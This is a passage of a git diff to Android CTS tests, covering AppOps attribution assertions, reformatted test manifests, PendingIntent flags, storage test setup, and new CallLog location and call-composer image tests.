+                assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED,
+                        receiverForeground, assertedAccessCount)
+            }
+        }
+
+        private fun assertLastAccessInRange(opEntry: AppOpsManager.AttributedOpEntry,
+                beginTimeMillis: Long, endTimeMillis: Long, assertedFlag: Int,
+                assertForeground: Boolean, assertRunning: Boolean) {
+            assertThat(opEntry.isRunning).isEqualTo(assertRunning)
+            assertTimeInRangeIfRequired(opEntry, assertedFlag,
+                    AppOpsManager.OP_FLAG_SELF,
+                    assertForeground, beginTimeMillis, endTimeMillis)
+            assertTimeInRangeIfRequired(opEntry, assertedFlag,
+                    AppOpsManager.OP_FLAG_TRUSTED_PROXY,
+                    assertForeground, beginTimeMillis, endTimeMillis)
+            assertTimeInRangeIfRequired(opEntry, assertedFlag,
+                    AppOpsManager.OP_FLAG_UNTRUSTED_PROXY,
+                    assertForeground, beginTimeMillis, endTimeMillis)
+            assertTimeInRangeIfRequired(opEntry, assertedFlag,
+                    AppOpsManager.OP_FLAG_TRUSTED_PROXIED,
+                    assertForeground, beginTimeMillis, endTimeMillis)
+            assertTimeInRangeIfRequired(opEntry, assertedFlag,
+                    AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED,
+                    assertForeground, beginTimeMillis, endTimeMillis)
+            if (assertForeground) {
+                assertThat(opEntry.getLastAccessBackgroundTime(AppOpsManager.OP_FLAGS_ALL))
+                        .isEqualTo(-1)
+            } else {
+                assertThat(opEntry.getLastAccessForegroundTime(AppOpsManager.OP_FLAGS_ALL))
+                        .isEqualTo(-1)
+            }
+        }
+
+        private fun assertTimeInRangeIfRequired(opEntry: AppOpsManager.AttributedOpEntry,
+                assertedFlag: Int, accessedFlag: Int, assertForeground: Boolean,
+                beginTimeMillis: Long, endTimeMillis: Long) {
+            if (assertedFlag != accessedFlag) {
+                return
+            }
+            val accessTime: Long
+            accessTime = if (assertForeground) {
+                opEntry.getLastAccessForegroundTime(accessedFlag)
+            } else {
+                opEntry.getLastAccessBackgroundTime(accessedFlag)
+            }
+            assertThat(accessTime).isAtLeast(beginTimeMillis)
+            assertThat(accessTime).isAtMost(endTimeMillis)
+        }
+
+        private fun assertAccessCount(historicalOp: AppOpsManager.HistoricalOp,
+                assertedFlag: Int, assertForeground: Boolean, assertedAccessCount: Int) {
+            assertAccessCountIfRequired(historicalOp, AppOpsManager.OP_FLAG_SELF,
+                    assertedFlag, assertForeground, assertedAccessCount)
+            assertAccessCountIfRequired(historicalOp, AppOpsManager.OP_FLAG_TRUSTED_PROXY,
+                    assertedFlag, assertForeground, assertedAccessCount)
+            assertAccessCountIfRequired(historicalOp, AppOpsManager.OP_FLAG_UNTRUSTED_PROXY,
+                    assertedFlag, assertForeground, assertedAccessCount)
+            assertAccessCountIfRequired(historicalOp, AppOpsManager.OP_FLAG_TRUSTED_PROXIED,
+                    assertedFlag, assertForeground, assertedAccessCount)
+            assertAccessCountIfRequired(historicalOp, AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED,
+                    assertedFlag, assertForeground, assertedAccessCount)
+            if (assertForeground) {
+                assertThat(historicalOp.getBackgroundAccessCount(
+                        AppOpsManager.OP_FLAGS_ALL)).isEqualTo(0)
+            } else {
+                assertThat(historicalOp.getForegroundAccessCount(
+                        AppOpsManager.OP_FLAGS_ALL)).isEqualTo(0)
+            }
+        }
+
+        private fun assertAccessCountIfRequired(historicalOp: AppOpsManager.HistoricalOp,
+                assertedFlag: Int, accessedFlag: Int, assertForeground: Boolean,
+                assertedAccessCount: Int) {
+            if (assertedFlag != accessedFlag) {
+                return
+            }
+            val accessCount: Long
+            accessCount = if (assertForeground) {
+                historicalOp.getForegroundAccessCount(accessedFlag)
+            } else {
+                historicalOp.getBackgroundAccessCount(accessedFlag)
+            }
+            assertThat(accessCount).isEqualTo(assertedAccessCount)
+        }
+
+        private fun findPackageOps(uid: Int, packageName: String,
+                searchedList: List<AppOpsManager.PackageOps?>): AppOpsManager.PackageOps? {
+            return searchedList.stream()
+                    .filter { packageOps: AppOpsManager.PackageOps? ->
+                        packageOps!!.uid == uid && packageOps.packageName == packageName
+                    }
+                    .findAny()
+                    .orElse(null)
+        }
+
+        private fun findPackageOps(uid: Int, packageName: String,
+                historicalOps: AppOpsManager.HistoricalOps): AppOpsManager.HistoricalPackageOps? {
+            val uidOps = historicalOps.getUidOps(uid)
+            return uidOps?.getPackageOps(packageName)
+        }
+
+        fun createAttributionContext(attributionTag: String?, receiverPackageName: String?,
+                receiverAttributionTag: String?) : Context {
+            val attributionParamsBuilder = ContextParams.Builder()
+            if (attributionTag != null) {
+                attributionParamsBuilder.setAttributionTag(attributionTag)
+            }
+            if (receiverPackageName != null) {
+                val attributionSourceBuilder = AttributionSource.Builder(
+                        context.packageManager.getPackageUid(receiverPackageName, 0))
+                attributionSourceBuilder.setPackageName(receiverPackageName)
+                if (receiverAttributionTag != null) {
+                    attributionSourceBuilder.setAttributionTag(receiverAttributionTag)
+                }
+                attributionParamsBuilder.setNextAttributionSource(attributionSourceBuilder.build())
+            }
+            return context.createContext(attributionParamsBuilder.build())
+        }
+
+        fun startBlamedAppActivity() : AttributionSource {
+            val activityStatedLatch = CountDownLatch(1)
+            val attributionSourceRef = AtomicReference<AttributionSource>()
+            val intent = Intent()
+            intent.setClassName(RECEIVER_PACKAGE_NAME, BRING_TO_FOREGROUND_ACTIVITY)
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
+            intent.putExtra(REMOTE_CALLBACK, RemoteCallback {
+                attributionSourceRef.set(it?.getParcelable(ATTRIBUTION_SOURCE))
+                activityStatedLatch.countDown()
+            })
+            context.startActivity(intent)
+            activityStatedLatch.await(ASYNC_OPERATION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
+            return attributionSourceRef.get()
+        }
+    }
+}
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index 625ff4d..09741b9 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -34,10 +34,4 @@
         <option name="collect-on-run-ended-only" value="true" />
         <option name="clean-up" value="false" />
     </metrics_collector>
-    <!-- Automotive tests run on user 10 -->
-    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
-        <option name="directory-keys" value="/storage/emulated/10/CtsPreferenceTestCases" />
-        <option name="collect-on-run-ended-only" value="true" />
-        <option name="clean-up" value="false" />
-    </metrics_collector>
 </configuration>
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index b3c3f59..746f970 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
     Copyright (C) 2014 The Android Open Source Project
 
@@ -17,72 +16,66 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.print.cts" android:targetSandboxVersion="2">
+     package="android.print.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <application android:allowBackup="false" >
+    <application android:allowBackup="false">
 
         <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.print.test.PrintDocumentActivity"
-            android:configChanges="mnc|mnc|touchscreen|navigation|screenLayout|screenSize|smallestScreenSize|orientation|locale|keyboard|keyboardHidden|fontScale|uiMode|layoutDirection|density"
-            android:theme="@style/NoAnimation" />
+        <activity android:name="android.print.test.PrintDocumentActivity"
+             android:configChanges="mnc|mnc|touchscreen|navigation|screenLayout|screenSize|smallestScreenSize|orientation|locale|keyboard|keyboardHidden|fontScale|uiMode|layoutDirection|density"
+             android:theme="@style/NoAnimation"/>
 
-        <service
-            android:name="android.print.test.services.FirstPrintService"
-            android:permission="android.permission.BIND_PRINT_SERVICE">
+        <service android:name="android.print.test.services.FirstPrintService"
+             android:permission="android.permission.BIND_PRINT_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.printservice.PrintService" />
+                <action android:name="android.printservice.PrintService"/>
             </intent-filter>
-            <meta-data
-               android:name="android.printservice"
-               android:resource="@xml/printservice">
+            <meta-data android:name="android.printservice"
+                 android:resource="@xml/printservice">
             </meta-data>
         </service>
 
-        <service
-            android:name="android.print.test.services.SecondPrintService"
-            android:permission="android.permission.BIND_PRINT_SERVICE">
+        <service android:name="android.print.test.services.SecondPrintService"
+             android:permission="android.permission.BIND_PRINT_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.printservice.PrintService" />
+                <action android:name="android.printservice.PrintService"/>
             </intent-filter>
-            <meta-data
-               android:name="android.printservice"
-               android:resource="@xml/printservice">
+            <meta-data android:name="android.printservice"
+                 android:resource="@xml/printservice">
             </meta-data>
         </service>
 
-        <activity
-            android:name="android.print.test.services.SettingsActivity"
-            android:theme="@style/NoAnimation"
-            android:exported="true">
+        <activity android:name="android.print.test.services.SettingsActivity"
+             android:theme="@style/NoAnimation"
+             android:exported="true">
         </activity>
 
-        <activity
-            android:name="android.print.test.services.AddPrintersActivity"
-            android:theme="@style/NoAnimation"
-            android:exported="true">
+        <activity android:name="android.print.test.services.AddPrintersActivity"
+             android:theme="@style/NoAnimation"
+             android:exported="true">
         </activity>
 
-        <activity
-            android:name="android.print.test.services.InfoActivity"
-            android:theme="@style/NoAnimation"
-            android:exported="true">
+        <activity android:name="android.print.test.services.InfoActivity"
+             android:theme="@style/NoAnimation"
+             android:exported="true">
         </activity>
 
-        <activity
-            android:name="android.print.test.services.CustomPrintOptionsActivity"
-            android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
-            android:exported="true"
-            android:theme="@style/NoAnimationTranslucent">
+        <activity android:name="android.print.test.services.CustomPrintOptionsActivity"
+             android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
+             android:exported="true"
+             android:theme="@style/NoAnimationTranslucent">
         </activity>
 
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-          android:targetPackage="android.print.cts"
-          android:label="Tests for the print APIs."/>
+       android:targetPackage="android.print.cts"
+       android:label="Tests for the print APIs."/>
 
 </manifest>
diff --git a/tests/tests/print/ExternalPrintService/AndroidManifest.xml b/tests/tests/print/ExternalPrintService/AndroidManifest.xml
index ff480c1..15100f0 100644
--- a/tests/tests/print/ExternalPrintService/AndroidManifest.xml
+++ b/tests/tests/print/ExternalPrintService/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
   Copyright (C) 2018 The Android Open Source Project
 
@@ -15,19 +16,18 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.print.cts.externalservice" >
+     package="android.print.cts.externalservice">
 
-    <application android:allowBackup="false" >
-        <service
-            android:name=".ExternalService"
-            android:permission="android.permission.BIND_PRINT_SERVICE">
+    <application android:allowBackup="false">
+        <service android:name=".ExternalService"
+             android:permission="android.permission.BIND_PRINT_SERVICE"
+             android:exported="true">
           <intent-filter>
-              <action android:name="android.printservice.PrintService" />
+              <action android:name="android.printservice.PrintService"/>
           </intent-filter>
 
-          <meta-data
-              android:name="android.printservice"
-              android:resource="@xml/printservice">
+          <meta-data android:name="android.printservice"
+               android:resource="@xml/printservice">
           </meta-data>
         </service>
     </application>
diff --git a/tests/tests/print/TEST_MAPPING b/tests/tests/print/TEST_MAPPING
new file mode 100644
index 0000000..325edcd
--- /dev/null
+++ b/tests/tests/print/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPrintTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 20a4a6f..bc11b82 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -120,7 +120,7 @@
 
                 PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(),
                         0,
-                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                 sPrinter = new PrinterInfo.Builder(printerId, printerName,
                         PrinterInfo.STATUS_IDLE)
@@ -591,7 +591,7 @@
                     infoIntent.putExtra("PRINTER_NAME", "Printer2");
 
                     PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
-                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                            infoIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
                     PrinterInfo printer2 = new PrinterInfo.Builder(printer2Id, "Printer2",
                             PrinterInfo.STATUS_IDLE)
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index bd78b24..32cd60e 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -23,6 +23,7 @@
     ],
 
     static_libs: [
+        "androidx.test.core",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "junit",
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index a4f55b3..e5e41ec 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -16,117 +16,121 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.provider.cts">
+     package="android.provider.cts">
 
-    <uses-sdk android:targetSdkVersion="28" />
+    <uses-sdk android:targetSdkVersion="28"/>
 
     <!-- This is required for android.provider.cts.media.MediaStore_MetadataKeysTest
-    when upgrading targetSdkVersion to R+
+            when upgrading targetSdkVersion to R+
     <queries>
         <intent>
-            <action android:name="android.provider.action.REVIEW" />
+            <action android:name="android.provider.action.REVIEW"
+                 />
         </intent>
     </queries> -->
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.USE_CREDENTIALS" />
-    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
-    <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL" />
-    <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL" />
-    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.WRITE_SMS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.USE_CREDENTIALS"/>
+    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
+    <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"/>
+    <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"/>
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.MANAGE_MEDIA"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.provider.cts.BrowserStubActivity"
-            android:label="BrowserStubActivity">
+             android:label="BrowserStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <service android:name=".MockInputMethodService"
-                 android:label="UserDictionaryInputMethodTestService"
-                 android:permission="android.permission.BIND_INPUT_METHOD">
+             android:label="UserDictionaryInputMethodTestService"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
             <meta-data android:name="android.view.im"
-                       android:resource="@xml/method" />
+                 android:resource="@xml/method"/>
         </service>
 
         <provider android:name="android.provider.cts.MockFontProvider"
-                  android:authorities="android.provider.fonts.cts.font"
-                  android:exported="false"
-                  android:multiprocess="true" />
+             android:authorities="android.provider.fonts.cts.font"
+             android:exported="false"
+             android:multiprocess="true"/>
 
         <provider android:name="android.provider.cts.TestSRSProvider"
-                  android:authorities="android.provider.cts.TestSRSProvider"
-                  android:exported="false" />
+             android:authorities="android.provider.cts.TestSRSProvider"
+             android:exported="false"/>
 
-        <service
-            android:name="android.provider.cts.contacts.StubInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE">
+        <service android:name="android.provider.cts.contacts.StubInCallService"
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data
-                android:name="android.telecom.IN_CALL_SERVICE_UI"
-                android:value="true"/>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                 android:value="true"/>
         </service>
 
-        <activity android:name="android.provider.cts.contacts.StubDialerActivity">
+        <activity android:name="android.provider.cts.contacts.StubDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.provider.cts"
-                     android:label="CTS tests of android.provider">
+         android:targetPackage="android.provider.cts"
+         android:label="CTS tests of android.provider">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/provider/app/GalleryTestApp/Android.bp b/tests/tests/provider/app/GalleryTestApp/Android.bp
index ef430de..2cf157e 100644
--- a/tests/tests/provider/app/GalleryTestApp/Android.bp
+++ b/tests/tests/provider/app/GalleryTestApp/Android.bp
@@ -29,4 +29,5 @@
     optimize: {
         enabled: false,
     },
+    min_sdk_version : "29",
 }
diff --git a/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml b/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
index 24eb5e0..13b423d 100644
--- a/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
+++ b/tests/tests/provider/app/GalleryTestApp/AndroidManifest.xml
@@ -15,18 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.provider.apps.cts.gallerytestapp">
+     package="android.provider.apps.cts.gallerytestapp">
 
     <application>
         <service android:name=".ReviewPrewarmService"/>
-        <activity android:name=".ReviewActivity">
+        <activity android:name=".ReviewActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.action.REVIEW" />
-                <data android:scheme="content" />
+                <action android:name="android.provider.action.REVIEW"/>
+                <data android:scheme="content"/>
             </intent-filter>
             <meta-data android:name="android.media.review_gallery_prewarm_service"
-                       android:value="android.provider.apps.cts.gallerytestapp.ReviewPrewarmService"/>
+                 android:value="android.provider.apps.cts.gallerytestapp.ReviewPrewarmService"/>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java b/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java
index 613d012..a895d13 100644
--- a/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java
+++ b/tests/tests/provider/preconditions/src/android/provider/cts/preconditions/ExternalStoragePreparer.java
@@ -34,7 +34,6 @@
     public void setUp(ITestDevice device, IBuildInfo buildInfo)
             throws TargetSetupError, BuildError, DeviceNotAvailableException {
         if (!ENABLED) return;
-        if (!hasIsolatedStorage(device)) return;
 
         device.executeShellCommand("sm set-virtual-disk false");
         device.executeShellCommand("sm set-virtual-disk true");
@@ -48,16 +47,10 @@
     public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
             throws DeviceNotAvailableException {
         if (!ENABLED) return;
-        if (!hasIsolatedStorage(device)) return;
 
         device.executeShellCommand("sm set-virtual-disk false");
     }
 
-    private boolean hasIsolatedStorage(ITestDevice device) throws DeviceNotAvailableException {
-        return device.executeShellCommand("getprop sys.isolated_storage_snapshot")
-                .contains("true");
-    }
-
     private String getVirtualDisk(ITestDevice device) throws DeviceNotAvailableException {
         int attempt = 0;
         String disks = device.executeShellCommand("sm list-disks");
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index e24c3e1..5ad3cf5 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -406,7 +406,11 @@
 
     public static void assertExists(String msg, String path) throws IOException {
         if (!access(path)) {
-            fail(msg);
+            if (msg != null) {
+                fail(path + ": " + msg);
+            } else {
+                fail("File " + path + " does not exist");
+            }
         }
     }
 
@@ -457,16 +461,25 @@
         return false;
     }
 
+    /**
+     * Gets File corresponding to the uri.
+     * This function assumes that the caller has access to the uri
+     * @param uri uri to get File for
+     * @return File file corresponding to the uri
+     * @throws FileNotFoundException if either the file does not exist or the caller does not have
+     * read access to the file
+     */
     public static File getRawFile(Uri uri) throws Exception {
-        final String res = ProviderTestUtils.executeShellCommand("content query --uri " + uri
-                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
-                + " --projection _data",
-                InstrumentationRegistry.getInstrumentation().getUiAutomation());
-        final int i = res.indexOf("_data=");
-        if (i >= 0) {
-            return new File(res.substring(i + 6));
+        String filePath;
+        try (Cursor c = InstrumentationRegistry.getTargetContext().getContentResolver().query(uri,
+                new String[] { MediaColumns.DATA }, null, null)) {
+            assertTrue(c.moveToFirst());
+            filePath = c.getString(0);
+        }
+        if (filePath != null) {
+            return new File(filePath);
         } else {
-            throw new FileNotFoundException("Failed to find _data for " + uri + "; found " + res);
+            throw new FileNotFoundException("Failed to find _data for " + uri);
         }
     }
 
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index be71f6a..b836871 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -16,11 +16,35 @@
 
 package android.provider.cts.contacts;
 
+import static org.junit.Assert.assertArrayEquals;
+
+import android.Manifest;
+import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
 import android.provider.CallLog;
+import android.provider.cts.R;
 import android.test.InstrumentationTestCase;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.ShellUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 public class CallLogTest extends InstrumentationTestCase {
 
@@ -75,6 +99,120 @@
         );
     }
 
+    public void testLocationStorageAndRetrieval() {
+        Context context = getInstrumentation().getContext();
+
+        if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            // This is tied to default-dialer, so don't test if the device doesn't have telephony.
+            return;
+        }
+
+        UserHandle currentUser = UserHandle.of(
+                ShellIdentityUtils.invokeStaticMethodWithShellPermissions(
+                        () -> ActivityManager.getCurrentUser()));
+        CallLog.AddCallParams.AddCallParametersBuilder builder =
+                new CallLog.AddCallParams.AddCallParametersBuilder();
+        builder.setAddForAllUsers(false);
+        builder.setUserToBeInsertedTo(currentUser);
+        // Some random spot in the North Atlantic
+        double lat = 24.877323;
+        double lon = -68.952545;
+        builder.setLatitude(lat);
+        builder.setLongitude(lon);
+        ShellUtils.runShellCommand("telecom set-default-dialer %s",
+                getInstrumentation().getContext().getPackageName());
+
+        try {
+            Uri uri;
+            getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(Manifest.permission.INTERACT_ACROSS_USERS,
+                            Manifest.permission.READ_VOICEMAIL);
+            try {
+                uri = CallLog.Calls.addCall(context, builder.build());
+            } finally {
+                getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            }
+            assertNotNull(uri);
+
+            Cursor cursor = context.getContentResolver().query(
+                    uri, new String[]{CallLog.Calls.LOCATION}, null, null);
+            assertEquals(1, cursor.getCount());
+            cursor.moveToFirst();
+            String locationUriString = cursor.getString(
+                    cursor.getColumnIndex(CallLog.Calls.LOCATION));
+            assertNotNull(locationUriString);
+
+            Uri locationUri = Uri.parse(locationUriString);
+            Cursor locationCursor = context.getContentResolver().query(locationUri,
+                    new String[]{CallLog.Locations.LATITUDE, CallLog.Locations.LONGITUDE}, null,
+                    null);
+            assertEquals(1, locationCursor.getCount());
+            locationCursor.moveToFirst();
+            double storedLat = locationCursor.getDouble(
+                    locationCursor.getColumnIndex(CallLog.Locations.LATITUDE));
+            double storedLon = locationCursor.getDouble(
+                    locationCursor.getColumnIndex(CallLog.Locations.LONGITUDE));
+            assertEquals(lat, storedLat);
+            assertEquals(lon, storedLon);
+        } finally {
+            ShellUtils.runShellCommand("telecom set-default-dialer default");
+        }
+    }
+
+    public void testCallComposerImageStorage() throws Exception {
+        Context context = getInstrumentation().getContext();
+        byte[] expected = readResourceDrawable(context, R.drawable.testimage);
+
+        CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+                new CompletableFuture<>();
+        Pair<Uri, CallLog.CallComposerLoggingException> result;
+        try (InputStream inputStream =
+                     context.getResources().openRawResource(R.drawable.testimage)) {
+            CallLog.storeCallComposerPicture(
+                    context.createContextAsUser(android.os.Process.myUserHandle(), 0),
+                    inputStream,
+                    Executors.newSingleThreadExecutor(),
+                    new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+                        @Override
+                        public void onResult(@NonNull Uri result) {
